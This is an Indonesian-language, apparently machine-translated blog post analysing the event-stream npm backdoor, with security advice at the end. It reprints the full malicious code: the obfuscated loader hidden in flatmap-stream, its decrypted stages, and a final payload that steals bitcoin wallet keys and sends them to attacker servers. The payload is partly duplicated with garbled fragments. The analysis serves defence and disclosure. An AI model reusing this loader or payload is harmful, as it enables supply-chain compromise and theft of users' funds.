Jelaskan backdoor dalam event-stream

Jika Anda bekerja dengan Javascript, maka kemungkinan besar Anda melihat banyak suara tentang kerentanan dalam paket npm stream-event . ( Posting tentang ini juga dipublikasikan di Habré. ) Sayangnya, analisis rinci dari situasi terkubur di bawah lebih dari 600 komentar dalam masalah di Github , yang sebagian besar adalah nyala tentang keadaan npm, open-source pada umumnya, dll. Saya pikir itu buruk, karena pintu belakang benar-benar sangat cerdas dan menarik dari sudut pandang teknis, dan juga mengajarkan kita pelajaran penting tentang cara menjaga keamanan dalam aplikasi Javascript. Jadi saya memutuskan untuk menulis posting dengan penjelasan terperinci tentang bagaimana serangan ini bekerja dan apa yang dapat dilakukan komunitas Javascript untuk mempertahankan diri lebih baik terhadap serangan seperti itu di masa depan.


Sebelum saya mulai, saya ingin mengucapkan terima kasih kepada FallingSnow , maths22 , dan joepie91 atas investigasi luar biasa mereka. Mereka melakukan semua kerja keras untuk menganalisis kerentanan dan mencari tahu apa yang dilakukannya. Nanti dalam teks saya akan mengutip hasil mereka menunjukkan kepengarangan, tapi saya pikir itu layak secara eksplisit menunjukkan bahwa saya tidak melakukan semua pekerjaan ini sendiri. Saya hanya meringkas apa yang orang lain temukan.


Latar belakang


event-stream adalah modul npm populer yang berisi utilitas untuk bekerja dengan aliran data di dalam aplikasi node.js. Sekarang ini diunduh lebih dari 1,9 juta kali setiap hari. Namun, ia belum aktif dalam pengembangan selama beberapa tahun. Penulisnya, Dominic Tarr , mendukung sejumlah besar proyek lain dan tidak lagi menggunakan modul ini dalam proyek pribadi, sehingga ia diabaikan.


Sekitar pertengahan September, seorang pengguna dengan nama panggilan right9ctrl (akun GitHub sekarang telah dihapus) menyarankan untuk mengambil alih dukungan modul. Dominic setuju dan memberikan hak akses right9ctrl ke Github dan npm. Sekilas komitmen terlihat tidak berbahaya:



Cuplikan layar dari commit commit dalam event-stream di Github


Pada tanggal 9 September, right9ctrl menambahkan modul flatmap-stream baru tergantung padanya, untuk mengimplementasikan fungsi flatmap untuk event-stream (solusi yang cukup tepat, karena event-stream sudah memiliki utilitas serupa, misalnya, map biasa). Kemudian, pada tanggal 16 September, right9ctrl menghapus dependensi flatmap-stream dan mengimplementasikan metode flatmap secara langsung. Dan lagi, tidak ada yang mengganggu, tidak biasa untuk menambah ketergantungan baru, dan kemudian memutuskan dalam beberapa hari bahwa akan lebih baik untuk menerapkan hal yang sama sendiri.


Serang


Pustaka flatmap-stream juga terlihat tidak berbahaya - sebenarnya, pustaka ini berisi implementasi peta datar untuk aliran data (walaupun sesuatu harus diwaspadai - pustaka hanya memiliki satu kontributor dan tidak ada unduhan dari npm hingga saat ini).



Cuplikan layar halaman aliran datar di GitHub


Namun, versi modul ini yang diterbitkan dalam npm berisi kode tambahan dalam file yang diperkecil, yang mungkin tidak Anda sadari, bahkan mengetahui bahwa itu ada:


 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

Bagian yang berbahaya di sini adalah pada akhirnya, dan itu dikaburkan secara khusus untuk menghindari deteksi:


 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

Dalam masalah pada Github, FallingSnow mengembalikan kode sumber bookmark dan menunjukkan apa yang terjadi di sana:


 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

Jadi, kode tersebut mengunduh file ./test/data.js , yang juga disematkan dalam versi yang diterbitkan di npm meskipun kurangnya kode sumber di GitHub. File ini berisi larik string yang dienkripsi melalui AES256. npm_package_description lingkungan npm_package_description diatur oleh perintah npm ketika kode dieksekusi dalam konteks beberapa paket, mis. Paket root, termasuk event-stream -> rantai ketergantungan flatmap-stream, akan digunakan untuk mengatur npm_package_description (dan variabel serupa lainnya). ( Catatan: dengan kata lain, deskripsi dari file package.json proyek Anda di mana Anda menjalankan perintah ini akan digunakan ). Dengan demikian, kode mendekripsi konten test/data.js menggunakan npm_package_description sebagai kunci, dan kemudian mencoba untuk mengeksekusi hasilnya.


Untuk sebagian besar paket, ini akan menyebabkan kesalahan (kode berbahaya akan diam-diam menangkap dan mengabaikan), karena deskripsi mereka bukan kunci yang tepat untuk sandi AES256 dan hasil dekripsi akan menjadi omong kosong. Ini adalah serangan yang sangat tertarget pada satu paket spesifik. maths22 dan beberapa pengguna lain mengunduh daftar npm-modules yang bergantung pada event-stream, dan memilah-milah deskripsi modul-modul ini, kami memilih kunci yang benar dan menemukan paket target: itu adalah copay-dash , sebuah platform untuk dompet bitcoin. test/data.js , "Dompet Bitcoin Aman", berhasil mendekripsi konten test/data.js , menampilkan kode berikut (silakan disediakan oleh joepie91 ):


 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

Kode ini meluncurkan tingkat dekripsi lain, tempat skrip jahat akhir terbuka:


 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

Seperti yang mungkin sudah Anda duga, skrip ini mencoba mencuri dompet bitcoin Anda dan mengunggah datanya ke server penyerang.


Diperbarui: tim npm merilis laporan insiden resminya , yang menjelaskan bahwa kode berbahaya dimaksudkan untuk diluncurkan dalam proses rilis Copay untuk menyuntikkan skrip pencurian bitcoin ke dalam kode aplikasi dompet Copay.


Jadi untuk meringkas


  • Platform bitcoin copay-dash menggunakan dependensi event-stream.
  • Pada bulan September, selama kurang lebih satu minggu, event-stream mengandung dependensi flatmap-stream, karena proyek ditransfer ke pengembang baru yang menambahkan dependensi dan menghapusnya seminggu kemudian.
  • flatmap-stream berisi fragmen tersembunyi di akhir kode yang diperkecil, yang mencoba memecahkan kode garis dari file test/data.js , menggunakan deskripsi paket root sebagai kunci AES256.
  • Untuk setiap paket reguler, ini menyebabkan kesalahan (karena deskripsi paket adalah kunci yang salah), yang diam-diam diproses. Tetapi untuk copay-dash, dekripsi memberikan JavaScript yang valid, yang meluncurkan tahap dekripsi lain dan mengeksekusi skrip jahat yang mencuri dompet bitcoin Anda.

Apa yang harus dilakukan sekarang?


Itu adalah serangan yang sangat licik, sangat mengingatkan pada posting Januari , dengan deskripsi serangan hipotetis yang sama. Penyerang dengan terampil menyapu jejaknya - kode dan riwayat komit di Github menunjukkan situasi yang tidak berbahaya dan mencurigakan (pengembang baru bergabung dengan proyek, menambahkan fitur, dan kemudian sedikit mengubah implementasinya). Selain tanda-tanda mencurigakan dalam flatmap-stream (paket baru, tidak ada kontributor dan statistik unduhan), serangan itu ternyata hampir tidak terlihat. Dan pada kenyataannya, itu tidak terdeteksi selama 2 bulan dan hanya ditemukan sekarang karena penyerang membuat kesalahan kecil menggunakan metode crypto.createDecipher ketinggalan zaman alih-alih crypto.createDecipheriv , yang menyebabkan pesan yang mencurigakan tentang penggunaan metode yang ketinggalan zaman di perpustakaan lain, yang menggunakan event-stream.


Sayangnya, jenis serangan ini tidak akan meninggalkan kita dalam waktu dekat. JavaScript adalah bahasa yang paling populer saat ini, yang berarti akan tetap menjadi target yang menarik bagi peretas. JavaScript juga memiliki fungsi yang relatif sedikit di perpustakaan standar dibandingkan dengan bahasa lain, yang memaksa pengembang untuk menggunakan paket dari npm - bersama dengan faktor budaya lainnya, ini mengarah pada fakta bahwa proyek JavaScript biasanya memiliki pohon ketergantungan yang besar.


Perlu dicatat bahwa meskipun aplikasi JavaScript lebih rentan terhadap kelas kerentanan ini, ini belum tentu menjadi alasan bahwa JavaScript pada umumnya kurang aman. JavaScript biasanya digunakan oleh lebih banyak pengembang aktif yang mencoba untuk berada di gelombang kemajuan, yaitu, pengguna mereka menginstal lebih banyak paket dan pembaruan, termasuk perbaikan keamanan. Pada saat yang sama, aplikasi Java Equifax diretas untuk alasan sebaliknya - mereka tidak menginstal pembaruan keamanan untuk Apache Struts selama berbulan-bulan. Kerentanan semacam ini lebih kecil kemungkinannya dalam aplikasi JavaScript. Pada akhirnya, ketika memilih tumpukan teknologi untuk perusahaan, pertanyaan keamanan selalu muncul. Pelajaran penting akan memahami skenario serangan yang mungkin untuk keputusan khusus Anda dan kemampuan untuk mengantisipasi mereka.


Apa artinya ini untuk tumpukan javascript? Tidak ada kekurangan ide dan saran bagaimana npm atau komunitas lain dapat mencegah serangan tersebut. Tetapi untuk pengguna akhir, setidaknya ada dua langkah dasar untuk mengurangi risiko Anda:


  • Gunakan file kunci . Tidak masalah apakah itu yarn.lock atau package-lock.json, file kunci apa pun menjamin bahwa Anda akan menerima versi paket yang sama dengan setiap instalasi, yaitu, jika Anda aman hari ini, Anda akan tetap sama besok. Aplikasi yang menjalankan dependensi mengambang tanpa menggunakan file kunci sangat rentan terhadap pembaruan berbahaya, karena mereka secara otomatis menginstal versi dependensi terbaru yang tersedia, yaitu, Anda dapat dikompromikan dengan setiap penempatan setelah salah satu dependensi Anda dikompromikan dan diterbitkan versi dengan kerentanan. Dengan file kunci, Anda setidaknya akan membatasi risiko Anda pada tindakan manual pengembang yang menambahkan dan memperbarui paket, yang dapat diperiksa ulang dengan peninjauan kode atau kebijakan perusahaan lainnya.


  • Pikirkan sebelum Anda meletakkan sesuatu . Seperti yang ditunjukkan di atas, ini bukan obat mujarab, peretas masih bisa menyelinap melalui bookmark dalam kode yang diperkecil yang sulit ditemukan, bahkan jika Anda tahu mereka ada di sana. Namun tidak kalah pentingnya, Anda dapat mengurangi risiko jika tetap menggunakan paket yang populer dan didukung secara aktif. Sebelum memasang kecanduan baru, tanyakan pada diri Anda apakah Anda benar-benar membutuhkannya. Jika Anda sudah tahu cara menulis kode, dan tidak membutuhkan lebih dari selusin baris, cukup tulis sendiri. Jika Anda masih membutuhkan dependensi, evaluasi sebelum instalasi. Berapa banyak unduhan yang dia miliki di npm? Apakah repositori di Github terlihat aktif diperbarui? Apakah paket sudah diperbarui baru-baru ini? Jika tidak, pertimbangkan forking dan menggunakannya. Ini akan mengurangi risiko, karena Anda tidak akan terpapar dengan pembaruan berbahaya di masa mendatang, Anda akan dapat membaca dan memperkecil sendiri kode sumber dan memastikan bahwa itu benar-benar mengandung dan melakukan.


Source: https://habr.com/ru/post/id431360/


All Articles